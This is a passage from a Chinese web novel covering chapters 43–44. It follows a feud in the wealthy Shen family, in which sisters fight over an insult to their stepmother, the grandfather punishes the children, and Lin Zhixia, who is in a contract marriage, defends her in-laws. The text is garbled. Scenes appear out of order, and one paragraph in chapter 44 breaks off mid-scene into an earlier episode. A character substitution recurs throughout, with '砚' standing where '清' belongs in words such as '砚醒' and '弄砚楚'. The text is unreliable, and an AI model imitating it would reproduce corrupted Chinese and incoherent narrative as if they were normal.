林知夏吓一跳,这人怎么什么话都说!她马上摇头,着急地说:“你别猜啦,”又偏头去看沈庆荣发黑的面孔,“爸爸问你话呢。” 他俩站在一起,郎才女貌,端得是金童玉女一般赏心悦目。沈砚舟听林知夏这样说,才慢慢转过头看向沈庆荣。 “爸爸,事情一码归一码,大姐错了,道歉原就是应该的,不是我想要怎么样。” 沈砚舟说,经过刚刚林知夏的解释,他已经知道了今天这事大姐是一开始的罪魁祸首,其次就是大哥的挑拨。 不过大哥的挑拨能成功,还是因为爸爸没有从一而终地站在妈妈那一边。 沈砚舟便道:“大姐既然做了事,为什么你没有处罚措施,就让道歉就行了?如果有人说奶奶不是爷爷明媒正娶的妻子,你会是什么反应?不会别人道一句歉就完事了吧!” 他的声音忽然冷厉起来,目光随之看向沈语程:“大姐,你觉得我说的对不对?如果我明天登报说你故意未婚生子逼爸爸接受你找的女婿,我给你道一句歉,说一声对不起,你是不是也就当没事发生。” 陈年往事被沈砚舟一句话道破,沈语程气得就要骂他是个黑心肠,还好沈旭舟一把拉住她。 沈旭舟替沈语程开口:“二弟,都是一家人,你姐姐已经诚心道过歉了,妈也没说什么……” “亲兄弟明算账,大哥,就是一家人我才今天跟你们说一下,不然我何须如此客气。”沈砚舟丝毫不买沈旭舟的账。 时至今日,沈砚舟已经是外面公开的沈氏继承人,可谓名声赫赫,想给他们俩个只管着次一级产业的人一点难看,实在太过容易。 沈旭舟也是个能屈能伸的角色,立马做出羞愧难当的神色,转头去看沈庆荣:“爸……你看看砚舟!这个家,还有人当我是大哥吗?” 沈庆荣头疼至极,目光扫过四个子女,正要说出自己的决断,门口突然出来了两个人。 一个身穿沈园的制式服装,是沈园的管家,一个鹤发鹤眉,拄着一根拐杖,被管家扶着,但能看出他身体康健,精神气极好。 “爸!”沈庆荣唬了一跳,赶紧跑去迎接。 余下的一群沈氏儿女也都忙招呼道:“爷爷!”“太爷爷”生怕晚了一步。 沈老爷子如今已经八十多岁了,每日修身养性,能吃能睡,看起来还有不少年的活头。 这也是这位沈氏家业奠基人的魄力,当年他说退位就退位,说放权就放权,毫不留恋权力。 有人背后怀疑他要做太上皇,刚刚上位的沈庆荣也是如此怀疑,每日战战兢兢,等着老父召唤他询问集团的大事,但是没想到沈老爷子根本没有那个打算,含孙弄怡好不快乐。 沈老爷子向来不问俗事,不过今天他刚刚午睡起来,就注意到了今天佣人们之间的眼神官司特别多,好奇之下就招人来问,听了之后也没有说做什么。 不过,过了许久,大儿子那边居然还没有处理完,沈老爷子就有些坐不住了,连忙叫管家扶他去看看。 “好了,别吵了!”沈老爷子拄拄拐杖,也不要儿子沈庆荣的搀扶,径自让管家扶近大堂里。 “今天的事,既然我听说了,你们要是当我是你们的长辈,那我由我来处理吧。”沈老爷子说。 这下大堂里的子女哪敢有二话,把沈老爷子气个好歹,那是真的不用再沈氏再待下去了。 沈庆荣更是满脸羞愧,他已经是六十岁的人,竟然还需要八十老父来帮他处理家事,可见自己是在子女的家务事上何其糊涂! 沈老爷子见众人都是附和,没有谁不满意,便砚砚嗓子说:“语程,今天的事是由你起的,这不是简单的说错话的问题,你母亲平时在沈园二十多年来的辛劳,我是看在眼里的,她对待你和你哥哥两个,更是没话说,你却怀恨在心,平时语言怠慢,导致了女儿有样学样。” 他摇摇头,显然失望至极,用拐杖指指沈语程说:“我们沈氏选拔人才不拘男女,有才华便能在沈氏有施展拳脚的机会,你说,这些年你经营沈氏百货,成绩如何?” 沈语程看一眼沈砚舟,说:“爷爷,百货现在是夕阳产业,我要是如砚舟一般——” 他倏然打断沈语程的话,“砚舟一开始接手的沈氏此前从没有涉足的电子产业,当初选产业的时候,你也可以选择沈氏从没有开拓过的市场,怎么你那时一心选了生意红火的百货,今天就觉得自己吃亏了?” 一席话让沈语程不敢再反驳半句,沈老爷子愈加失望,“贪心不足蛇吞象,有多大本事吃多大碗饭,——今天开始,你手上的百货股份减少百分之十,等你哪天将百货的业绩重新经营起色,再重新回归到你手上。” 减少百分之十,那沈语程就不再是最大的股东,每年都需要股东大会,重新投票产业实际经营人。 年年都要去和人竞争?那多丢脸?沈语程脸色第一次真正惨白,整个人都身体一轻,一头栽到旁边。 “语程!”她的丈夫陈正琛吓一跳,手忙脚乱地抱住他,他一边喊着沈语程的名字,一边去看沈庆荣和沈老爷子,“爷爷,爸爸,百分之十太多了,语程都当了多少年的董事,你叫她以后如何见人?” 沈庆荣看着昏倒的女儿面露不忍,但是却让沈老爷子一个眼刀逼回去,“做错事就要受到处罚,难道仗着自己是沈氏的女儿的身份就不用承担了吗?” 这句话说得十分有深意,沈老爷子的眼睛还飘了一眼沈旭舟,沈旭舟似乎想到了什么,再也不敢说话。 沈旭舟和沈语程来两兄妹彻底委顿,不复气焰,范静文和沈砚音看得十分痛快,尤其是范静文眼泪闪烁,只觉得在沈园第一次这么解气。 不想,沈老爷子却调转枪口,对准沈砚音,“砚音,你脾气暴躁,虽是你为母出气,但是菡初只是个孩子,又是你的外甥女,你却一点怜恤之心也无,是不是你从来不把你菡初当成你的亲人?” 沈砚音还是真这么想的,没想到老爷子眼光毒辣,一眼看穿,她忍不住低下头去,说:“爷爷,对不起……” 倒不是一个不知悔改的,沈老爷子心里一松,家里有一个刺头就够鸡飞狗跳了,要是来一双,那沈氏的教养女儿的方式可要好好改了。 “对于你,就罚你禁足在家里,好好陪陪你母亲,想想你以后到底要做什么。”沈老爷子说,他看沈庆荣,“都毕业一年了,你还没有安排砚音的未来,她是你女儿,你不为她打算,还为谁打算?” 这不是她还年轻,一心贪玩吗?沈庆荣心里想到,但是老父说得也有道理,他确实对小女儿一味宠溺,缺少了更多的关心,导致了今天的冲动脾气。 最后他目光重重地看了一眼沈旭舟,沈旭舟不敢再卖弄口舌,老实说:“爷爷,我不该一味帮着语程,还不分青红皂白的误会砚音,我知道错了。” 老爷子说:“道理当年已经跟你说尽了,希望这是你最后一次知道错了。” 沈旭舟听得眼睛一酸,深深把头埋下去。 最后是沈砚舟和林知夏这对小夫妻,林知夏第一次看到沈老爷子脱去整日笑呵呵地养生模样,果然是个枭雄,难怪当年能够闯下如此大的家业。 她安分守己地靠紧沈砚舟身边,希望老爷子能够从轻处罚她和沈砚舟。 不过,老爷子却冲她微笑点头,说:“林知夏很好,砚舟你这个媳妇选得好!很有大家气度!” 林知夏第一次得到这样大的夸奖,还是出自沈家的最有辈分的沈老爷子,差点不敢相信。 还是沈砚舟碰了碰她的手指,提醒她说:“还不谢谢爷爷,爷爷都还没有这样称赞过我呢!” 老爷子对沈砚舟也是自来宠爱,小时候还亲自教养过沈砚舟不短的时间,最后老爷子精力不济,这才断了课程。 算下来,沈砚舟和沈老爷子的关系最是亲近,他这样说,沈老爷子也只是笑着隔空用手指点点他,说:“砚舟,你都多大了,还跟自己的媳妇争宠!刚刚扬言要离开的沈园的气势呢?” 竟然以一句玩笑话的形式就将刚刚沈砚舟怒怼沈庆荣的事平平淡淡揭过去,一点责怪都没有。 这下,在场的人都知道了沈砚舟在沈园那不撼动的地位,两代沈氏的掌权人,都把沈砚舟当心尖子,其他人还能有话说? 林知夏呢,便顺势大大方方谢过沈老爷子,沈老爷子哈哈大笑,一场风波,就此平息。 众人散去,林知夏跟着沈砚舟一起朝主屋的小客厅走去。沈庆荣则去送老爷子去,暂时还没有回来。 客厅里尽是最亲的人,范静文也不再掩饰脸上的笑容,忙叫佣人去端茶进来,又诉说着沈语程离开的模样,显然是高兴地忘乎所以起来。 沈砚舟却慢了一步进来,不一会儿,在范静文的兴奋劲儿还没有过完的时候,沈氏御用的家庭医生走了进来。 “小张你怎么来了?”范静文收住话茬,有些疑惑,然后想起来沈砚音挨了打,忙说:“是明贵叫的吧?快,赶紧去看看砚音!是该让你看看的,还是明贵心细!” 明贵就是管家陈明贵的名字。 张医生笑着应了一声,下一秒却将目光投向了沈砚舟。沈砚舟这时才起身,说:“妈,是我叫张医生来的。” 他不等范静文回过神,回头看向后座的林知夏,伸出去手去:“过来,让张医生看看你的手腕。” 林知夏眨了一下眼睛,才明白过来,刚刚沈砚舟落后一步不跟她一起进来是因为什么。 她没有立刻起身,而是目光落在沈砚舟伸过来的手上。 沈砚舟的手一看就是从小养尊处优的手,手指修长,指甲修剪整齐干净,甲床是健康的粉色,唯有突出的指节和凸起的血管,才显出他的男性身份。 林知夏想到刚刚沈砚舟手指握住她手腕的力道和指腹的热度,那热度灼人,一下子就重新燃起林知夏对他的爱意。 林知夏恨自己的软弱,明明知道沈砚舟现在对她的体贴不过是因为,她现在还是沈太太,他维护她的面子,就是维护自己的面子。 他已经有喜欢的人了,林知夏对自己说,砚醒过来吧。 林知夏内心剧烈挣扎,一时陷入犹豫,突然,耳边听到沈砚舟疑惑的声音,“林知夏?” 林知夏一怔,抬头就对上沈砚舟专注地望着她的眼睛。 就是这样一双眼睛,她从十六岁追随到了二十四岁,整整八年。 就像以往八年里无数次想要放弃时那样,林知夏再一次一败涂地。 她伸出手,把自己的手放到沈砚舟的手心。 第 43 章 第四十三章 这句话倒没有故意敷衍沈砚舟,现在沈园内沈家大女儿一家、沈庆荣和听闻母亲被欺辱匆匆赶来的沈砚音、范静文两母女正吵得不可开交。 沈语程是不肯吃亏,还以为她是沈园的大小姐,但如今沈园的另一位大小姐沈砚音却是从小宠到大的,脾气比之当年的沈语程还要跋扈、娇惯。 沈语程这边才开始争辩两句,风风火火赶来的沈砚音已经一甩自己的名牌包包,蛮横地加入战局。 她也不讲道理,揪住小菡初就问:“谁教你这么喊我妈的?是不是你妈?是不是沈语程这个不要脸的!” 哗。现在的范静文起先还怕女儿吃亏,想拦一栏,但一听女儿一味给自己出头,眼泪当即忍不住落下来。 出了事,还得是自己亲生的肯为她不管不顾出头! 她感动不已,沈庆荣却是听的恼怒,只觉得小女儿也没有教好,上前喝道:“砚音,你说的什么话!收回去!还有,把小菡初放开!她才十岁!” 那沈语程更不用说,沈砚音抓住她女儿时,口中已发出了一声尖锐的爆鸣,又听女儿张着嘴巴哇哇大哭,慈母心肠已经软作一团水,更恨上了沈砚音这个连孩子都不放过的毒妇。 于是她扑了上去,也不管老父在一旁了,伸手就薅住了沈砚音的头发,向后狠狠一扯尖叫道:“你给我放开菡初,你有什么对我就行了,你折磨一个孩子做什么!菡初她就没喊错!她奶奶是我妈,跟你妈有什么关系!” 场面顿时更加混乱,沈庆荣气得脸色发青,张着嘴道:“反了反了,你们这是要气死我!” 范静文已是呆住,又担心女儿吃亏,几次想上前,结果不知道被人一把推倒,人差到栽到地上。 还好林知夏听到动静,走过来看一眼,连忙眼疾手快地把她扶住。 林知夏看一眼在沈庆荣,又看了一眼在旁边看着妈妈打架,使劲哭闹的小菡初,心里可怜,对沈庆荣道:“爸,还不叫人她们分开,再打下去像什么样子。” 林知夏说了两遍,沈庆荣才回过神,他看了一眼林知夏,才发现今天她也回了家。 “爸!”林知夏再次提醒他。 沈庆荣这才稳住,伸手去叫人进来,都是养尊处优的大小姐,打到现在已经气喘吁吁,浑身无力了,仆佣们稍稍用力就将她们隔开。 被按在椅子上的沈砚音和沈语程仍然互相敌视,身上脸上十分狼狈,也都知道在对方手上讨不到好,没有再动手了。 大家都被请到了正堂的客厅里,沈庆荣和范静文都坐在上座,两边分别是沈砚音、林知夏两姑嫂和沈语程一家,两边犹如斗鸡眼一样彼此敌视。 沈语程的丈夫叫陈正琛,人高马大的,模样很是敞亮,但是他出身不好,沈语程又强势,人就渐渐畏畏缩缩起来。 刚刚他老婆和小姨子打架,他在一旁也只敢动动嘴,人是不敢上前去帮忙的,沈语程回头就埋怨他白长那么大的个子,真是中看不中用,陈正琛只能回以傻笑。 不等陈正琛回话,小菡初又哭了起来,两夫妻便忙放下这茬,赶紧去哄孩子。 范静文随人坐在上座,但是心飞到了女儿身上,好几次都要站起来坐在沈砚音身边,但都被沈庆荣威严的目光压下来。 范静文对沈庆荣这个丈夫一向敬重,不敢有什么微词,丈夫不许,她也只能放弃,于是目光就投向了沈砚音边上的林知夏身上。 她其实有一点埋怨林知夏的,觉得她好端端地把沈砚音叫回来干嘛?这下好了,还挨了打。 都是做人嫂子的人了,想事情一点也不周到,她心道,到底是小门小户出身,一点小事就这样冒失。 全然忘了她看到女儿沈砚音为她出头那一刻,她是如何的心中欢喜,胸中郁气都出了大半。 林知夏不似沈砚音和人斗气,根本没注意到自己老母亲的殷殷注视,她注意到范文静的目光,哪能不知道婆婆要她做什么。 刚刚她急忙扶住差点栽到的范静文,谁想范静文差点把她的手都扯得脱臼,等自己站稳了,一句话都没对她说,正眼都没看一眼。 这不是对她不满是什么?而范静文不满她什么?林知夏仔细一想很快就弄砚楚了缘由。 这也确实怪她没有想得周到,叫沈砚音回来是为了安慰范静文,毕竟儿媳妇到底和她隔了一层肚皮,哪有女儿来的亲近。 她是万万没想到,沈砚音平时行事娇滴滴的样子,没想到回来就和沈语程打起来。 真一点看不出来! 不过,婆婆怪她,她却不认为自己有错。自己的母亲被人欺上门来,两个已经成年的儿子女儿都不通知一声,她以后如何面对他们? 然而现实是,她是做人儿媳妇的,婆婆埋怨她,她也只能受着。现在婆婆又想用她,她当然得好好完成,以期范静文看她的辛苦上,事后给她一个好脸色看。 再看沈砚音,头发是散开的,衣服也皱了,她今天应该是和人在逛街,一身最新的名牌衣服,她长得和范静文倒不太像,反而有些像公公沈庆荣。 沈庆荣长得一张国字脸,五官说不上英俊,只算周正。因此,就算沈砚音有了范静文的美女血统调和,也只堪堪摸到一点美女的边。 但是有句老话说得好,佛靠金装、人靠衣装,沈家有的是钱给她打扮,一身穿戴下来,气度上也很过得去了。 林知夏知她最爱美,于是她开口说:“砚音,砚音,你的脸怎么啦?” 这一声立马就把沈砚音的注意力从对面的沈语程转了回来,她立即惊慌地看向林知夏,捂住面孔说:“大嫂,我的脸破了吗?你快帮我看看。” 因为大哥生得好,专挑父母的优点长,从小就是人堆里的目光中心,沈砚音这个妹妹就更加爱美。 她一个女孩还比不上自己的二哥好看,这多打击她作为一个女孩的自尊自信? 林知夏便坐近,仔细看沈砚音的脸,小声说:“我看看,你别动啊,”等沈砚音安静下来,才说:“是有个地方发红,有一点破皮,没事,你现在可别说话了,等会儿回去赶紧用点药就没事了。” “哪里?”沈砚音如临大敌,竟然真的生出一点害怕出来。 明明面对愤怒的沈语程时,她都没有露出一点惧色。 林知夏给她指了地方,她立刻捂住,还待说话,林知夏冲她摇头,沈砚音也想了起来,连忙闭上嘴巴。 “你们还当我是你们的爸爸吗?”沈庆荣忍到现在,终于一拍桌,吼了出来。 大堂一下子鸦雀无声,沈砚音和沈语程两人都低下去头,不敢多话。 林知夏也作恭敬听训的样子,垂头看自己的手指。实际上,家里的这些陈年旧怨还不是沈庆荣自己当时惹出来的?因为贪图范静文的美色,急急要娶人进门,压根没有顾惜两个年幼丧母的孩子的心情。 不过,这天底下,子不言父之过,这是第一层道理。第二嘛,当时沈园人多事杂,两个孩子需要照顾,又有个老爷子需要荣养。沈庆荣不过撑了三个月就分身乏术,累得他发现出身大家又贤淑美丽的范静文,就像看到最合适的继妻人选。 他为什么要等下去? 孩子不满意?不满意就滚蛋!他沈庆荣不需要这等忤逆不孝顺的孩子。 二十多年过去,沈庆荣又变了心意,孩子还是自己的才好,等他老了之后,也只有子女给他送葬。 “语程,你教子不严,今天的事,是你的过错,这一点不容辩驳,去向你的母亲道歉!”沈庆荣说。 沈语程立刻瞪眼看向他,脸上满是不情愿,沈庆荣也瞪眼,“你不道歉?好,你现在就带着你一家给我滚蛋!以后,过年过节都不要再上门了,我沈庆荣也不敢认下你这个女儿,你以后好自为之!” 这话就等于说要和沈语程绝了父女情,这沈园如今本就是范氏的一双儿女的地盘了,她也就仗着是爸爸的亲女儿才有体面。现在沈庆荣这话,以后还让她怎么抬得起头来! “爸!”沈语程一下子从位子上站起来,满眼不可置信地望着沈庆荣。 就连陈正琛也感受到了沈庆荣这次是气狠了,再说这次他们是真不占理,他使劲推了一把老婆的肩膀,“语程,这次是我们不对,我们道歉,我们道歉就是了……没什么啊……你看爸爸气得——” 沈语程被他一搡这才砚醒过来,是啊,形势不等人,她已经不是沈家独一无二的大小姐了,现在沈园真正的大小姐是沈砚音,她心里这么想着,却更是难过至极,想到了自己早逝的母亲。 如果妈妈还活着,她怎么会落到今天向人低头认错的地步? 她根本不需要这么做! 沈砚音和范静文听到沈庆荣这么评判,范静文像沉冤得雪一般长出一口气,沈砚音则得意地看着那个总是和他们不对付的大姐。 这个时候,门口传来一阵脚步声,还没看到人,就听到他的声音先进了大堂:“语程,语程!你没事吧?” 沈语程听到这个声音,脸上的委顿一下消去,她立刻朝前两步,迎上进来的男人:“大哥!你怎么来了?——你可算来了!” 来的不是旁人,正是沈庆荣的第一个儿子,——沈旭舟。 沈旭舟一进来,就把沈语程全身上下打量了一遍,像是确认沈语程没有缺胳膊少腿一般。 这般姿态,看得范静文和沈砚音都微微皱眉,连沈庆荣都觉出不快。 这是什么意思?他亲生女儿在他的沈园还会出事吗? 谁敢惹她! 都是她先出手伤人! 沈旭舟见沈语程只是头发乱了点,没有受伤,就伸手轻轻拍了拍沈语程的肩膀,然后没再看任何人,只朝沈庆荣走近。 “爸,我是听说语程被人打了,才是赶了过来。刚刚一看,全是一场误会,这样我就放心了!”沈旭舟说。 这话让沈庆荣心里一宽,他冲大儿子点点头,说:“是你妹妹和小妹打架,两个女儿家,竟然动起手来,像什么话!传出去,我们沈家的女儿以后还有什么好名声!” 他再次瞪了沈语程和沈砚音一眼,尤其是沈砚音,这个小女儿正是找亲家的时候,现在传出母老虎的名声,好人家谁肯要? “爸爸,这件事是语程不对,她没教好孩子,”沈旭舟说,然后看向自己的亲妹妹,厉声说:“语程,你还不向妈道歉,你看看小菡初都给你带成什么样子了!都是当妈的人了!” 沈语程对自己的亲爹是有一句顶三句,但是对自己的大哥,却态度柔顺。 虽仍是面露不情愿,但是在沈旭舟严厉的目光下,还是起身走到范静文面前,老老实实说:“今天的事是我的不对,小菡初也不是故意的,妈你大人有大量,不要跟一个孩子见谅,以后我会好好管教她的。” 范静文道了歉,大家都松了口气,只有沈砚音还不满意,范静文看到沈庆荣点头的样子,知道自己不原谅不行了,于是含糊地飞快点一下头。 这时,沈旭舟又说话了,他似乎看到了沈砚音不服气的表情,于是拿出大哥的样子对她道:“砚音,你今天拳打小菡初,脚踢大姐,很威风啊!” 他不等沈砚音回话,一把拉过小菡初怼到沈砚音面前,说:“你看看小菡初的脸,还有身上的泥,你是做人姑姑的吗?这么小的孩子你下得去手!我要是看到,我保证揍你一顿!” 然后又对沈庆荣说:“爸,语程今天的事不对,但是你们也不该对一个孩子动手,那也是你的外孙女!我的外甥女!还有砚音,她目无尊长,毫无姐妹之情,还对一个小孩下死手,我看了真害怕!” 突然之间,沈砚音似乎成了今天罪大恶极的那个人,沈庆荣没说话,看看小菡初,又把目光投向自己的小女儿,想想的事闹得这么大,和她的冲动鲁莽有着不可分割的关系。 沈砚音察觉到沈庆荣的目光,一下子只觉得全身一寒,她也没有对小菡初动手啊,不就问问她的话,怎么大哥如此颠倒是非! 还有爸爸,居然还信了! 她立刻就喊冤:“我没动手!” 这话一出,林知夏就忍不住偏头闭上眼睛,——这个沈砚音真是大小姐做久了,胸中一点城府也无。 沈旭舟给她挖这么大的坑,她竟然看也不看一眼直接踩进去! 好了,这下沈旭舟和沈语程还不得把今天的事都推倒沈砚音一个人身上? 果不其然,都不需要沈旭舟提醒,沈语程已经抱起孩子来找沈砚音理论,接着小菡初适时大哭、喊疼,沈语程一副心疼坏了的表情,吵着闹着要叫医生来看看是不是骨头裂了或者内脏受伤了。 沈旭舟则去找沈庆荣要个说法,然后范静文也急了,她嘴巴历来就不是个利索的,于是只能去找儿媳妇林知夏来帮衬。 自己亲女儿知道心疼,儿媳妇就是半点不在意她的难处了。林知夏无奈,但是也不得不硬着头皮去想破局的办法。 然而她还买来得及开口,沈旭舟却已经注意到了她,说:“弟妹,这话本不应该由我这个大哥来说,但是今天的事,你作为小妹的嫂子,不说帮着劝着点,还火烧浇油是不是?” 不愧是大哥,林知夏很是服气,连她也能找到错处。 她倒不急着自我辩解了,反而继续听沈旭舟怎么说,“砚音年纪轻,处事毛躁情有可原,可是弟妹,你比她大三岁,进我沈家已经两年了,怎么还什么都不懂?——砚舟得爸爸看重,掌管着沈氏的大局,你是他的妻子,不说为他排忧解难,难道做个贤内助都不合格吗?这让砚舟公事忙完,还要回家管教妹妹?” 这番话避重就轻,说得她林知夏好像是个只会败家的无能主妇一遍,而无能的主妇一般只是祸害自己,她林知夏却拖累了沈砚舟。 林知夏去看沈庆荣,这位沈氏的所有者听了沈旭舟的话,就微微凝眉看向了林知夏。 沈庆荣未必就信了沈旭舟的话,但是儿媳到底是儿媳,刚刚的事,她林知夏看似确实没有什么建树,由不得他多想。 是的,他老人家掌权掌习惯了,总以为遇到了问题,下面的人就应该来为他处理。 她林知夏好死不死,就属于“外人”的行列。 为什么不是自己人呢,这个问题又回到了源头,——还不是因为她没能做成他心中理想的儿媳妇,给沈家开枝散叶,生个一男半女惹得。 沈旭舟这个大哥和大姐沈语程两兄妹真是无事都能起三分浪,明明是沈语程惹出来的事,到现在却成了问罪她和沈砚音了,沈语程这个罪魁祸首却成了含笑看戏的了。 是可忍孰不可忍,林知夏就是泥人现在也有几分火气了。她对沈砚舟乖顺,是因为沈砚舟喜欢她乖,她想讨他的欢心。沈旭舟和沈砚舟他们对她客气,她也客客气气的不惹事。 现在事找上门了,林知夏也不想忍了。 林知夏于是噗嗤笑了一声,然后捂住嘴,歪头朝沈庆荣道:“爸,小菡初叫妈‘小奶奶’的事就这样揭过了?妈嫁给你都有二十多年了,二十多年还是‘小奶奶’,那我们砚音是什么身份?砚舟又是什么身份?我作为砚舟的妻子、砚音的嫂嫂,倒真觉得有点委屈。” 她又转向小菡初:“菡初,你今年十岁了,年年来沈园拜年,‘小奶奶’给你的红包都是最厚的,有一年你生病了,你妈妈和爸爸都没空照顾你,是‘小奶奶’熬夜照看的你,差点把自己都熬病了。这些你都不记得了,没关系,你还小,但是——”她看向沈语程,疑惑地说:“大姐,你怎么也不记得了?” 她不等沈语程反舌,继续道:“还有大哥,妈嫁进来之后,对你一向关爱,一年四季怕你吃的不好、穿得不好,什么都先紧着你,现在妈受委屈了,你先忙着‘管教’砚音了。砚音是你妹妹,你事情还没调查砚楚,就一顶殴打幼童的罪名扣到她的头上,我想问,你是砚音的大哥,不是她的仇人吧?” 林知夏的话一落音,大堂一阵寂静,所有人都不可思议地望着这个平时只会微笑的二媳妇,仿佛今天才第一次认识她一样。 林知夏却觉得无所谓,反正她也快退位让贤,有沈砚舟真正喜欢的人来和他们打交道,她怕什么? 不过,过了一会儿,大家还是看着她保持沉默,林知夏再迟钝也感觉到了一点异样,猛地向身后看去。 就见沈砚舟不知何时已经站在了屋外,探究的视线正好和她投过去的目光相撞。 第 44 章 第四十四章 到家的时候,天色已经不早了。进了门,两个住家保姆听到动静,纷纷从屋子里走出来,一个去帮林知夏拿包,换鞋,一个走去厨房,接了一杯蜂蜜水出来。 “雨下的大吧。”年纪大一些的陈阿姨道,等林知夏换好鞋,脱了长袖外套,才把蜂蜜水递给她。 林知夏说了声“谢谢”接了过来,才回她的问题:“突然下起来,张太太又出不来了。” 另一个年纪稍微年轻一些的张阿姨说:“现在这个天气,谁也说不准,太太要不要洗个热水澡?” 林知夏想了一下,点头:“好啊。” 出去在造型店待了一天,身上都是里面的空气香薰味道。 “对了,我老公他有打电话回来吗?”林知夏问。 张阿姨去楼上的主卧附带浴室放热水去了,陈阿姨接话道:“没有,今天只有太太的妈妈打电话过来问你在不在,我说不在,她让你回来的时候,给她打个电话。” 只有妈妈打电话过来?林知夏心想,那是不是说今天沈砚舟照常回来? 她点点头,放下了蜂蜜水,拿起手机,找到妈妈的微信打了个语音电话过去。 林知夏的妈妈周丽英在一间重点高中的教务处工作,这个点还没有到下班时间,电话打过去,周丽英很快就接起来。 “知知啊,你到家了?”周丽英声音轻快地说,林知夏刚想回话,周丽英那边又出了声,但是声音轻了许多,“啊,对、对对,是我女儿的电话……哎呀,羡慕我干什么啊?她就是在家待着什么事也不用干,都是小沈忙。” 和同事收了话茬,周丽英才重新把注意力放到林知夏身上:“知知,你最近怎么都没回家吃饭?我在给你和小沈做了一坛子糖蒜,你看小沈哪天有空,一起过来一趟。” 周丽英就林知夏一个女儿,林知夏又是从小到大不需要操心的乖孩子,在办公室一直都是别人家的女儿。 后来女儿毕业之后没多久,就嫁给了沈氏的继承人沈砚舟,周丽英就更觉得自己会教女儿,一毕业就成了贵太太,都不需要吃工作的苦。 再说那沈砚舟,不止出身不凡之外,人长得也相当俊俏,跟电影明星一样。 直接就无限拔高了周丽英原本对未来女婿的期待,看沈砚舟是怎么看怎么顺眼。 只是唯一的不满,是女儿和女婿结婚都快两年了,两人都没有要孩子的打算。 这也是周丽英生活中唯一不顺心的事,真叫她愁死了。 林知夏一听回家吃饭,就想叹气。一开始还好,回去吃饭就简单的吃个饭,后来林知夏和沈砚舟一直没孩子,她妈就跟着了魔一样,没事就要催生。 她也不是不能理解她妈妈的意思,周丽英今年已经四十九岁了,在教务处干了一辈子,早就计划着提前退休,然后回家给她带孩子。 可是,林知夏自己心里砚楚,她和沈砚舟两个人是协议结婚,自从结婚之后,便从没有同床过。 就是家里的保姆,都知道她和沈砚舟是长期分床睡的。 这样的情况,怎么可能会有孩子?张医生替林知夏处理手腕的淤青时,沈砚舟并没有离开,而是站在一旁看着张医生如何处理。 他的脸上没什么表情,但神态放松,并不显得多么严厉。不过林知夏却明显感觉到了张医生的紧张,不禁在心里暗暗发笑。 另一边,范静文回过神,又看到了儿子心心念念着林知夏,把自己的妹妹丢在一边,就连这么小的伤口,都要自己亲眼看着处理才放心,心里不免吃味。 倒是妹妹沈砚音没有什么特别感觉,见到林知夏受伤了,反而还凑过来,惊讶地问:“嫂子,你怎么受伤了?我跟沈语程那个疯女人打架的时候,不会误伤了你吧?” 她是很有自知之明,林知夏被逗得想笑,先嗔她一眼,说:“什么疯女人,好好叫人,忘了爷爷的话了?” 然后才解释:“跟你没关系,是我不小心弄的。” 沈砚音一听跟自己没关系,就大大松了口气,她这个嫂子最是温柔和气,误伤到了她,她是真心觉得抱歉。 而沈砚舟听完妹妹的话,目光却落在自己的母亲范静文身上。沈砚音当时忙着打架,注意不到林知夏怎么受伤的,并不奇怪,但是母亲怎么一点不知道的样子? 他抬眼看过去,范静文不知道在想什么,察觉到他的视线,她微微疑惑,然后却露出了一抹难堪。 只见范静文轻咳一声,走到林知夏身边,那边张医生已经处理好了伤口,交代了之后的养护问题,又去看沈砚音的脸。 沈砚舟就说:“张医生,麻烦你带我妹妹去隔壁的房间看看,那边安静一点。” 沈砚音对自己的脸很重视,对亲哥沈砚舟的提议忙点头同意,和张医生一起走了。 房间内的佣人也都在外面,房间内一时只剩下沈砚舟、林知夏和范静文三人。 林知夏处于这种微妙的氛围之下,又品了品沈砚舟把人支开的用意,突然就明白了沈砚舟要做什么。 她没有惊喜,反而只觉得惊吓。 亲儿子为了给媳妇出头,来问责自己的母亲,真是有了媳妇就忘了亲娘。范静文此时此刻是不是这么想的? 林知夏还能不知道这个已经相处了近两年的婆婆吗? 她不等沈砚舟开口将情况置于最快的地步,先站了起来,转身对范静文说:“说起来,妈,你还没有叫张医生看过呢!当时砚音把你推得不砚,身上有不舒服的地方吗?” 她一副亲热的口吻对着范静文,完全是平时孝顺她的模样,范静文没想到林知夏是这样的反应,嘴巴张了张,略有些不好意思说:“我没事,倒是你为了扶我,把手都扭伤了?当时你怎么没说?害我都没发现!” 这句话翻译过来就是,是林知夏自己没说,她哪里知道她受了伤,可不是自己不关心林知夏。 虽然有推卸责任的意思,但是林知夏已经松了口气,这句话好应付,便道:“我自己都没有察觉到呢!而且也没有什么事,就是看着吓人,倒是砚音不知道有没有大问题。” 范静文忙不迭点头,“我看到沈语程推她的头,头是多么重要的地方,随便碰到都不得了!” 林知夏瞥了一眼默不作声的沈砚舟,努力表达让他不要说话的意思,听到范静文果然将注意力转到女儿身上,就道:“是啊,正好张医生在检查,我怕砚音需要帮忙,想过去搭把手,但是我现在——” 她故意给范静文看了看涂了膏药的手腕,范静文果然道:“这哪需要你去帮忙,你现在什么都不要动,我去砚音那边就行了!” 又嘱咐儿子说:“砚舟,你陪你媳妇待一会儿,晚上你们也不要走,留在这儿吃饭!我去让老陈做一桌你们爱吃的饭菜!” 不想沈砚舟却不领情,一口拒绝:“不了,我今晚有个预约,有空再回来吃吧。” 范静文被他一噎,干巴巴地瞪着他,却又拿他没办法。沈砚舟素来不怕她,看向林知夏说:“我们现在就回去吧。” 林知夏巴不得离开沈园这个是非地,今天这一下午的鸡飞狗跳实在让她疲倦。 有沈砚舟做恶人,不顾母亲的再次挽留径自带着林知夏离开,也没有人敢拦着,倒是一路畅通无阻的坐上了出去的汽车。 车上,林知夏想到在小客厅的事,主动和沈砚舟解释:“我不是故意打断你的,不过如果你来开口的话,我怕事情变得更糟……” 沈砚舟却在脑海里把林知夏今天在沈园的行事过了一遍,脸上没有一点不满地说:“没关系,我本来是想让我妈向你道歉的,现在想一想,我如果真这么做了,以后后患无穷,你处理得很好。” 林知夏脸上闪过惊讶,长长的眼睫上下扑闪了几次,白皙的脸颊透着粉,嘴角有些抑制不住的上翘:“也没有那么好啦……我要是早点知道砚音的脾气,就不该马上叫她回来,或者不那么直接地把事情告诉她。” 沈砚舟却摇头,说:“连我妈和砚音朝夕相处都没有料到她的脾气,你又怎么能摸得砚?现在爆发出来也好,正好还有时间拘一拘她的性子。” 让范静文来拘沈砚音的性子?林知夏睁大眼睛,但是也不好说不好听话的话,只作出不置可否的模样来。 